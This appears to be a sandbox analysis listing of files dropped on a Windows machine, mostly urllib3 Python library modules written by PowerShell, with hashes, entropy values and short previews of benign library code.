              MD5:4F65EC10CA80B40728733931A65B9C06
              SHA1:8377AB930A8032897D65672A09FB811E216FE909
              SHA-256:E5F3C81F2A4FC256CA04048CB3A6C44931095441A5B23F45398F7F1865361A93
              SHA-512:EACD01583F4AB0C35D85AADF902FD1C1E60CD50FEA55EC293467D13E2EF47B249BECB24EBD0718E5E9F508BD1C30B91151C5E382058DE04C2E19970B17BD8602
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import errno.import logging.import queue.import sys.import typing.import warnings.import weakref.from socket import timeout as SocketTimeout.from types import TracebackType..from ._base_connection import _TYPE_BODY.from ._collections import HTTPHeaderDict.from ._request_methods import RequestMethods.from .connection import (. BaseSSLError,. BrokenPipeError,. DummyConnection,. HTTPConnection,. HTTPException,. HTTPSConnection,. ProxyConfig,. _wrap_proxy_error,.).from .connection import port_by_scheme as port_by_scheme.from .exceptions import (. ClosedPoolError,. EmptyPoolError,. FullPoolError,. HostChangedError,. InsecureRequestWarning,. LocationValueError,. MaxRetryError,. NewConnectionError,. ProtocolError,. ProxyError,. ReadTimeoutError,. SSLError,. TimeoutError,.).from .response import BaseHTTPResponse.from .util.connection import is_connection_dropped.from .util.proxy import connection

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):733
              Entropy (8bit):4.527161799307811
              Encrypted:false
              SSDEEP:
              MD5:C6960672D5A330E53A2557CFCC64D430
              SHA1:CE27902CAFC40DBD0013400D817460E4F6BFAEF2
              SHA-256:BBA28D8338E51596EE0005DAFF26C247B810EF55491129C5F8821D0C0EF76EBC
              SHA-512:83C411239F0C147A44FDD7A251A07EF3BDA7D922C7CA9EA61C76A9DDD58DABFDDFD20A968C799FD3CE142CBEF335484A9A45F574A329E80A7BD7D3C3F9AA9B36
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import urllib3.connection..from ...connectionpool import HTTPConnectionPool, HTTPSConnectionPool.from .connection import EmscriptenHTTPConnection, EmscriptenHTTPSConnection...def inject_into_urllib3() -> None:. # override connection classes to use emscripten specific classes. # n.b. mypy complains about the overriding of classes below. # if it isn't ignored. HTTPConnectionPool.ConnectionCls = EmscriptenHTTPConnection. HTTPSConnectionPool.ConnectionCls = EmscriptenHTTPSConnection. urllib3.connection.HTTPConnection = EmscriptenHTTPConnection # type: ignore[misc,assignment]. urllib3.connection.HTTPSConnection = EmscriptenHTTPSConnection # type: ignore[misc,assignment].

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\connection.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8755
              Entropy (8bit):4.497525459881081
              Encrypted:false
              SSDEEP:
              MD5:B2484A578058171D7E25A65AD1522D0E
              SHA1:5B6FD60E13C2B2F5E362BEC69F648DADF89D5675
              SHA-256:91A05EDAD5ADED8CBDBCD50544157B092C839DF8426082C6C63BBD293663F12C
              SHA-512:ADA160189EBA57085B0D0E93FDC17361C0B62E4206C562832C16466D0CB4FCD80F25D464736DA5E7B036DBDA97F82F9B6278BAC2F094DDB34EEC182B994FDC94
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import os.import typing..# use http.client.HTTPException for consistency with non-emscripten.from http.client import HTTPException as HTTPException # noqa: F401.from http.client import ResponseNotReady..from ..._base_connection import _TYPE_BODY.from ...connection import HTTPConnection, ProxyConfig, port_by_scheme.from ...exceptions import TimeoutError.from ...response import BaseHTTPResponse.from ...util.connection import _TYPE_SOCKET_OPTIONS.from ...util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.from ...util.url import Url.from .fetch import _RequestError, _TimeoutError, send_request, send_streaming_request.from .request import EmscriptenRequest.from .response import EmscriptenHttpResponseWrapper, EmscriptenResponse..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection...class EmscriptenHTTPConnection:. default_port: typing.ClassVar[int] = port_by_scheme["http"]. default_socket_options: ty

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\emscripten_fetch_worker.js

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):3655
              Entropy (8bit):4.6612783191186296
              Encrypted:false
              SSDEEP:
              MD5:CD5FB56C8115E0DB8EB92FF3FBE9960A
              SHA1:3D1704D964E37D527D888A606FFC62894520DBFF
              SHA-256:0837D817FF420E86EDC7694689DC89D738C312FC0D4F917E75C8665565C38741
              SHA-512:A414EA8983DA012F9EB8246A36C016D9ACA2FAD2B74F577297B4D02D37D6E5366DADF9993AB92915C3B3A1116D57423B1CF49076F586B3E51F053D9483F87179
              Malicious:false
              Reputation:unknown
              Preview:let Status = {. SUCCESS_HEADER: -1,. SUCCESS_EOF: -2,. ERROR_TIMEOUT: -3,. ERROR_EXCEPTION: -4,.};..let connections = {};.let nextConnectionID = 1;.const encoder = new TextEncoder();..self.addEventListener("message", async function (event) {. if (event.data.close) {. let connectionID = event.data.close;. delete connections[connectionID];. return;. } else if (event.data.getMore) {. let connectionID = event.data.getMore;. let { curOffset, value, reader, intBuffer, byteBuffer } =. connections[connectionID];. // if we still have some in buffer, then just send it back straight away. if (!value || curOffset >= value.length) {. // read another buffer if required. try {. let readResponse = await reader.read();.. if (readResponse.done) {. // read everything - clear connection and return. delete connections[connectionID];. Atomics.store(intBuffer, 0, Status.SUCCESS_EOF);. Atomics.notify(intBuffer, 0);.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\fetch.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):14131
              Entropy (8bit):4.581820013726768
              Encrypted:false
              SSDEEP:
              MD5:1259D5B9753B0A80D00F91D57731D60E
              SHA1:92664A84EBE36BF4E845BA734D76B70506E66A25
              SHA-256:CA6C09947041BB0E964E92A03C7A5D9A6ACD07196CAFBE47AA80F8467DBB6179
              SHA-512:32A7179723C4D90AEC36FBECBC56A607890FF42C864E965529A5FF136BC9E325CF42B62E9FD9EB9CB82FC8875B07B179C12CC950777E93C6F8AA36A52AB776FB
              Malicious:false
              Reputation:unknown
              Preview:""".Support for streaming http requests in emscripten...A few caveats -..Firstly, you can't do streaming http in the main UI thread, because atomics.wait isn't allowed..Streaming only works if you're running pyodide in a web worker...Secondly, this uses an extra web worker and SharedArrayBuffer to do the asynchronous fetch.operation, so it requires that you have crossOriginIsolation enabled, by serving over https.(or from localhost) with the two headers below set:.. Cross-Origin-Opener-Policy: same-origin. Cross-Origin-Embedder-Policy: require-corp..You can tell if cross origin isolation is successfully enabled by looking at the global crossOriginIsolated variable in.javascript console. If it isn't, streaming requests will fallback to XMLHttpRequest, i.e. getting the whole.request into a buffer and then returning it. it shows a warning in the javascript console in this case...Finally, the webworker which does the streaming fetch is created on initial import, but will only be star

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\request.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):566
              Entropy (8bit):4.6695794858845625
              Encrypted:false
              SSDEEP:
              MD5:56AAE3C754DE48411A8E711AE387D95F
              SHA1:59F1A59F8AC5104E0552CBD253311E47B5A5FB9E
              SHA-256:98BDBCB33CB52AF137349856A2BE633666ABA7C830A650D4FBB8301996398344
              SHA-512:5C65B5F475B5899609B7F99610C1672A0B8538481AD74436DE4078DC1E94D7E39CFDBE045C15C16C1B21B3959E89245C58D3A6DE52BDDA7961EE315EB6D5BA83
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..from dataclasses import dataclass, field..from ..._base_connection import _TYPE_BODY...@dataclass.class EmscriptenRequest:. method: str. url: str. params: dict[str, str] | None = None. body: _TYPE_BODY | None = None. headers: dict[str, str] = field(default_factory=dict). timeout: float = 0. decode_content: bool = True.. def set_header(self, name: str, value: str) -> None:. self.headers[name.capitalize()] = value.. def set_body(self, body: _TYPE_BODY | None) -> None:. self.body = body.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\emscripten\response.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):10017
              Entropy (8bit):4.2204512478917655
              Encrypted:false
              SSDEEP:
              MD5:282AFBF6D4A8D0F9B050E8FAD830F1E3
              SHA1:C6DE44BD91204180EA3EE31A1EFF677DC361D317
              SHA-256:C046163C708BF89B200ADA42A5F9D6198035F837230C6A451AA5825D92F06C76
              SHA-512:EB1EBC466D77476A6406658083EB6597B6B1545B761BFAF22F1AB9171DFC21D88188BFBAA6CFAC7457CBEAE18475DC207AA71F45044480D491A54242AC192B73
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import json as _json.import logging.import typing.from contextlib import contextmanager.from dataclasses import dataclass.from http.client import HTTPException as HTTPException.from io import BytesIO, IOBase..from ...exceptions import InvalidHeader, TimeoutError.from ...response import BaseHTTPResponse.from ...util.retry import Retry.from .request import EmscriptenRequest..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection..log = logging.getLogger(__name__)...@dataclass.class EmscriptenResponse:. status_code: int. headers: dict[str, str]. body: IOBase | bytes. request: EmscriptenRequest...class EmscriptenHttpResponseWrapper(BaseHTTPResponse):. def __init__(. self,. internal_response: EmscriptenResponse,. url: str | None = None,. connection: BaseHTTPConnection | BaseHTTPSConnection | None = None,. ):. self._pool = None # set by pool class. se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\pyopenssl.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):19338
              Entropy (8bit):4.845719429755584
              Encrypted:false
              SSDEEP:
              MD5:B52F8166A10EAAFAB07641E10C29FB8F
              SHA1:1ABC4989FCB7FD5AB9AF0E2E1FD299080BB3A66A
              SHA-256:F623F88FC25A7C0E21AAD5FD02027DCF1AEA23E89CA211ABA85A8032BCA835D0
              SHA-512:BDE2D42D817DCADA3711CE63747F921C7F15DE04609B8554366EB8AE9B9C339A27233884F5B779EC7AD5005443D9FDB0063F5386AAE3EA5AAA1F72431EB2915D
              Malicious:false
              Reputation:unknown
              Preview:""".Module for using pyOpenSSL as a TLS backend. This module was relevant before.the standard library ``ssl`` module supported SNI, but now that we've dropped.support for Python 2.7 all relevant Python versions support SNI so.**this module is no longer recommended**...This needs the following packages installed:..* `pyOpenSSL`_ (tested with 16.0.0).* `cryptography`_ (minimum 1.3.4, from pyopenssl).* `idna`_ (minimum 2.0)..However, pyOpenSSL depends on cryptography, so while we use all three directly here we.end up having relatively few packages required...You can install them with the following command:.... code-block:: bash.. $ python -m pip install pyopenssl cryptography idna..To activate certificate checking, call.:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code.before you begin making HTTP requests. This can be done in a ``sitecustomize``.module, or at any other time before your application begins using ``urllib3``,.like this:.... code-block:: python.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\contrib\socks.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7549
              Entropy (8bit):4.639834169659284
              Encrypted:false
              SSDEEP:
              MD5:0CF6C586F832D200056BD86CE4B470E5
              SHA1:8F6EBE4990D32760297208D75D5B4978892DB4E5
              SHA-256:FA26AB75CEB51B2A6C2730FA5BACAE452ECA542C9FA30710AE5FFBD7D1FB9483
              SHA-512:89C8AA742C2CD6B0647DA45B4B2708715C8B32877987CC43F62B33B7D0EEBF7E4476D321ABF758DD6D8B6362E447BCEB9A89DE862722AF56D8A0F13107C01FF3
              Malicious:false
              Reputation:unknown
              Preview:""".This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in. your ``proxy_url`` to ensure that DNS resolution is done from the remote. server instead of client-side when connecting to a domain name...SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5.supports IPv4, IPv6, and domain names...When connecting to a SOCKS4 proxy the ``usern

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\exceptions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9393
              Entropy (8bit):4.792397513804208
              Encrypted:false
              SSDEEP:
              MD5:4F61F9FFB40020611E33E90E9F64752E
              SHA1:6866D84C5CBF24BE572B91D694A83EA69F14551B
              SHA-256:4436A2B9DB51EEBA9B54A4CAA4B4A064106DC1A22A57B799B5EAEF655FE665A8
              SHA-512:C0E625642E608878831E3D104A011C7EA1913A0B78D6BA9A9BC0CC92B94D34C7185A71F0D5B134958A0A78BD14ED7FC2ABE14DFEB3057CA2AB1936226562CF44
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import socket.import typing.import warnings.from email.errors import MessageDefect.from http.client import IncompleteRead as httplib_IncompleteRead..if typing.TYPE_CHECKING:. from .connection import HTTPConnection. from .connectionpool import ConnectionPool. from .response import HTTPResponse. from .util.retry import Retry..# Base Exceptions...class HTTPError(Exception):. """Base exception used by this module."""...class HTTPWarning(Warning):. """Base warning used by this module."""..._TYPE_REDUCE_RESULT = typing.Tuple[. typing.Callable[..., object], typing.Tuple[object, ...].]...class PoolError(HTTPError):. """Base exception for errors caused within a pool.""".. def __init__(self, pool: ConnectionPool, message: str) -> None:. self.pool = pool. super().__init__(f"{pool}: {message}").. def __reduce__(self) -> _TYPE_REDUCE_RESULT:. # For pickling purposes.. return self.__class__, (None, None)...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\fields.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):10843
              Entropy (8bit):4.6192856607563595
              Encrypted:false
              SSDEEP:
              MD5:2BD54B482695939797D7AFE1FF47707A
              SHA1:8778216DE2496C87F13E4B426B43B932C7B9CBC1
              SHA-256:F2F8B43DE468FE91397213E6240D3B2D9B4C91596CE14AC14B5936C4CE74EA33
              SHA-512:A5DAFC869C39C369AE2EBE88931DEABBD68F2A4CEC8BC09C99753AF75A713CA1B96E8989B3AD38E754EB548C1D6829A6F0AFC50368AC7C91A6AE430E5DEE7EFE
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import email.utils.import mimetypes.import typing.._TYPE_FIELD_VALUE = typing.Union[str, bytes]._TYPE_FIELD_VALUE_TUPLE = typing.Union[. _TYPE_FIELD_VALUE,. typing.Tuple[str, _TYPE_FIELD_VALUE],. typing.Tuple[str, _TYPE_FIELD_VALUE, str],.]...def guess_content_type(. filename: str | None, default: str = "application/octet-stream".) -> str:. """. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. """. if filename:. return mimetypes.guess_type(filename)[0] or default. return default...def format_header_param_rfc2231(name: str, value: _TYPE_FIELD_VALUE) -> str:. """. Helper function to format and quote a single header parameter using the. strategy defined in RFC 2231... Particularly useful for header parameters which might contain. non-A

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\filepost.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2395
              Entropy (8bit):4.946770037622349
              Encrypted:false
              SSDEEP:
              MD5:ED5B7522289EBB739A3E3800CCF533C0
              SHA1:E80BE57EC82444ECD1E52FB96A132998AFAFC79A
              SHA-256:FBDA894F5D5C3468CEF5DAA7236D3EA04AD9B93BCD68CD7CC5964F0A36526CE1
              SHA-512:34886FD378BE78B2301C5FC325DECAE9E8A269DF49DBE127604A41379F8BF01E0ED17AB2E47EDCDFCC5E4DE287D2C94B20D6051AA599B1A6BA7B5D60783DE1D0
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import binascii.import codecs.import os.import typing.from io import BytesIO..from .fields import _TYPE_FIELD_VALUE_TUPLE, RequestField..writer = codecs.lookup("utf-8")[3].._TYPE_FIELDS_SEQUENCE = typing.Sequence[. typing.Union[typing.Tuple[str, _TYPE_FIELD_VALUE_TUPLE], RequestField].]._TYPE_FIELDS = typing.Union[. _TYPE_FIELDS_SEQUENCE,. typing.Mapping[str, _TYPE_FIELD_VALUE_TUPLE],.]...def choose_boundary() -> str:. """. Our embarrassingly-simple replacement for mimetools.choose_boundary.. """. return binascii.hexlify(os.urandom(16)).decode()...def iter_field_objects(fields: _TYPE_FIELDS) -> typing.Iterable[RequestField]:. """. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... """. iterable: typing.Iterable[RequestField | tuple[str, _TYPE_FIELD_VALUE_TUPLE]].. if isinstance(fields, typing.Mapping):. iterable = fields.items(). e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\http2\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1741
              Entropy (8bit):4.847457208242871
              Encrypted:false
              SSDEEP:
              MD5:73C659DE6243D65676BA07027886B65E
              SHA1:3E0DE2068E4B0CDFF235A49D6ACDA3DB24D4AEC2
              SHA-256:C73AC0487ED1E4035190F24EA2DE651A70133AADCA2AEC97CC8E36ADC9F09AAB
              SHA-512:2B05B9AF717D545239F4C867394432865FD13C80EB84518AB6671FFD29FEF5536FF846E369D672B815102285F093154A39BDEDB31D34AD72F503EB3B1B1E8269
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..from importlib.metadata import version..__all__ = [. "inject_into_urllib3",. "extract_from_urllib3",.]..import typing..orig_HTTPSConnection: typing.Any = None...def inject_into_urllib3() -> None:. # First check if h2 version is valid. h2_version = version("h2"). if not h2_version.startswith("4."):. raise ImportError(. "urllib3 v2 supports h2 version 4.x.x, currently ". f"the 'h2' module is compiled with {h2_version!r}. ". "See: https://github.com/urllib3/urllib3/issues/3290". ).. # Import here to avoid circular dependencies.. from .. import connection as urllib3_connection. from .. import util as urllib3_util. from ..connectionpool import HTTPSConnectionPool. from ..util import ssl_ as urllib3_util_ssl. from .connection import HTTP2Connection.. global orig_HTTPSConnection. orig_HTTPSConnection = urllib3_connection.HTTPSConnection.. HTTPSConnectionPool.ConnectionC

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\http2\connection.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12668
              Entropy (8bit):4.43718269678957
              Encrypted:false
              SSDEEP:
              MD5:C987555EFD9989FB9505C7520CA9CFD5
              SHA1:6E3FC2FE65A2029769C64B0A5447A83EA611BD12
              SHA-256:18D969F418C8DC399F48A7B55B46FD22A44178CF10D77C5DD8C03744E709DDD6
              SHA-512:585F14458EF6BF78D32595D05D0C535B727675DE53919B78A73679F6CE439C32F7DB47D958EA960FCFECBD74239F7636E4C5581490270ECE12E7123D8F3C73F6
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import logging.import re.import threading.import types.import typing..import h2.config # type: ignore[import-untyped].import h2.connection # type: ignore[import-untyped].import h2.events # type: ignore[import-untyped]..from .._base_connection import _TYPE_BODY.from .._collections import HTTPHeaderDict.from ..connection import HTTPSConnection, _get_default_user_agent.from ..exceptions import ConnectionError.from ..response import BaseHTTPResponse..orig_HTTPSConnection = HTTPSConnection..T = typing.TypeVar("T")..log = logging.getLogger(__name__)..RE_IS_LEGAL_HEADER_NAME = re.compile(rb"^[!#$%&'*+\-.^_`|~0-9a-z]+$").RE_IS_ILLEGAL_HEADER_VALUE = re.compile(rb"[\0\x00\x0a\x0d\r\n]|^[ \r\n\t]|[ \r\n\t]$")...def _is_legal_header_name(name: bytes) -> bool:. """. "An implementation that validates fields according to the definitions in Sections. 5.1 and 5.5 of [HTTP] only needs an additional check that field names do not. include uppercase chara

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\http2\probe.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3014
              Entropy (8bit):4.4639831655972575
              Encrypted:false
              SSDEEP:
              MD5:F326941F27972957BBE5E005FF30CED2
              SHA1:0F3ACBA2EC85A7130D05F77C099DD9440C817E84
              SHA-256:9E7024A9B8406A43A217BE6BCFB5B4B9D677F047A1FEE0FC7E357BE0DEF71442
              SHA-512:E9F789FF8232103414312EBD3B1833FA4971B9E3052DBCA5E9F308E6C112682F5330A1E7FCFBBC38815A72BA7E72A5E3FBC4789E82A24A4302DAF48EB52C381C
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import threading...class _HTTP2ProbeCache:. __slots__ = (. "_lock",. "_cache_locks",. "_cache_values",. ).. def __init__(self) -> None:. self._lock = threading.Lock(). self._cache_locks: dict[tuple[str, int], threading.RLock] = {}. self._cache_values: dict[tuple[str, int], bool | None] = {}.. def acquire_and_get(self, host: str, port: int) -> bool | None:. # By the end of this block we know that. # _cache_[values,locks] is available.. value = None. with self._lock:. key = (host, port). try:. value = self._cache_values[key]. # If it's a known value we return right away.. if value is not None:. return value. except KeyError:. self._cache_locks[key] = threading.RLock(). self._cache_values[key] = None.. # If the value is unknown, we acquire t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\poolmanager.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):22913
              Entropy (8bit):4.6123699446367254
              Encrypted:false
              SSDEEP:
              MD5:375F776F4F4EA02B00C5C9CBD35A5B9B
              SHA1:54ABBE3544898F70A56DE63193402DB34D15ED07
              SHA-256:DBF2F6023543828434A819986D7F6EF50AB2535BB9277EF341BB6FFFEB9E6500
              SHA-512:115A1404DAA176A02CFA8B8A0E4E54F73058A3EBC6BFC14FDD24A9254783C35AF31659C2C497370881D02965EF4A5FBCEB5FA4843A583F9CE8E82A7EC4453FF0
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import functools.import logging.import typing.import warnings.from types import TracebackType.from urllib.parse import urljoin..from ._collections import HTTPHeaderDict, RecentlyUsedContainer.from ._request_methods import RequestMethods.from .connection import ProxyConfig.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, port_by_scheme.from .exceptions import (. LocationValueError,. MaxRetryError,. ProxySchemeUnknown,. URLSchemeUnknown,.).from .response import BaseHTTPResponse.from .util.connection import _TYPE_SOCKET_OPTIONS.from .util.proxy import connection_requires_http_tunnel.from .util.retry import Retry.from .util.timeout import Timeout.from .util.url import Url, parse_url..if typing.TYPE_CHECKING:. import ssl.. from typing_extensions import Self..__all__ = ["PoolManager", "ProxyManager", "proxy_from_url"]...log = logging.getLogger(__name__)..SSL_KEYWORDS = (. "key_file",. "cert_file",. "cert_reqs"

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\py.typed

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):93
              Entropy (8bit):4.327987613540449
              Encrypted:false
              SSDEEP:
              MD5:8FB95F1F445D0278380B68C69E7C98D3
              SHA1:EF60F75D9814C879E0D3E690DBEC69BDC264B132
              SHA-256:51A0AE3C56B71FC5006A46EDFB91BC48F69C95D4CE1AF26FD7CA4F8D42798036
              SHA-512:A3ED53FA711BD4F871B3D800C235F63A8510B6F5DBF849987DAA2F92A7F20F09DEA1E055504FC5956BB48E735323A31CBE06E4E0262FBEC0D3A61C5809EDA7E3
              Malicious:false
              Reputation:unknown
              Preview:# Instruct type checkers to look for inline type annotations in this package..# See PEP 561..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\response.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):44801
              Entropy (8bit):4.340007017499819
              Encrypted:false
              SSDEEP:
              MD5:9495CDD288D497268526259CC82641D5
              SHA1:F3CD98ECB11F95888231A633ACB03125CF14B038
              SHA-256:352D2BAB0466B705AD0BFE970EA80324DFEEA3E8C4981573C7457A282B079708
              SHA-512:7DCB263E8F06403237604F596C4B7388E3B817CDE4603F1EAC49937980E3116552FCBC0BCE19F1127FDE83C683BF43E0EFCB8D3C0125F43693A4793ED140B3B5
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations..import collections.import io.import json as _json.import logging.import re.import sys.import typing.import warnings.import zlib.from contextlib import contextmanager.from http.client import HTTPMessage as _HttplibHTTPMessage.from http.client import HTTPResponse as _HttplibHTTPResponse.from socket import timeout as SocketTimeout..if typing.TYPE_CHECKING:. from ._base_connection import BaseHTTPConnection..try:. try:. import brotlicffi as brotli # type: ignore[import-not-found]. except ImportError:. import brotli # type: ignore[import-not-found].except ImportError:. brotli = None..try:. import zstandard as zstd.except (AttributeError, ImportError, ValueError): # Defensive:. HAS_ZSTD = False.else:. # The package 'zstandard' added the 'eof' property starting. # in v0.18.0 which we require to ensure a complete and. # valid zstd stream was fed into the ZstdDecoder.. # See: https://github.com/urllib3/urllib3/pul

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1001
              Entropy (8bit):4.809819899735385
              Encrypted:false
              SSDEEP:
              MD5:C66C1C6F2BAE795547EFF79264441DD4
              SHA1:52460D96B307E3CB7DA56A187FC2C4E597DE3C87
              SHA-256:FAA792D1071E8AF6B3BC110A0CD142008FBA00271D0CE1384CCBE8ED22CD9404
              SHA-512:72FE5CD3872338EF1FA15D077006CED5EB8678A4F2DBD191A9AE8DAC2585E2E41C3EBE2506A8F8F8729E41577E62D21D2F5A1721D41CB9E187A208DFF79D8764
              Malicious:false
              Reputation:unknown
              Preview:# For backwards compatibility, provide imports that used to be here..from __future__ import annotations..from .connection import is_connection_dropped.from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers.from .response import is_fp_closed.from .retry import Retry.from .ssl_ import (. ALPN_PROTOCOLS,. IS_PYOPENSSL,. SSLContext,. assert_fingerprint,. create_urllib3_context,. resolve_cert_reqs,. resolve_ssl_version,. ssl_wrap_socket,.).from .timeout import Timeout.from .url import Url, parse_url.from .wait import wait_for_read, wait_for_write..__all__ = (. "IS_PYOPENSSL",. "SSLContext",. "ALPN_PROTOCOLS",. "Retry",. "Timeout",. "Url",. "assert_fingerprint",. "create_urllib3_context",. "is_connection_dropped",. "is_fp_closed",. "parse_url",. "make_headers",. "resolve_cert_reqs",. "resolve_ssl_version",. "ssl_wrap_socket",. "wait_for_read",. "wait_for_write",. "SKIP_HEADER",. "SKIPPABLE_HEADERS",.)

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\urllib3\util\__pycache__\__init__.cpython-310.pyc.55904960

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):957
              Entropy (8bit):5.34597363398155
              Encrypted:false
              SSDEEP:
              MD5:96558063B26739B97C5F6ADD70BD3733
              SHA1:80C3F434BCFF7796DD99162A27BB9B634557BF06
              SHA-256:148ACF777868BDE17B89631304D066BDFDA5429F7FBD452CADB1463CFBC7A06A
              SHA-512:7CE698411787BCD037370D8D50D6AF358BB4B0B29403944E2F60F4BC3F42375288E7BC6D10A98EFD3B33A2F156098A1306721931AA4D9DED052400F1B02B8454
              Malicious:false
              Reputation:unknown
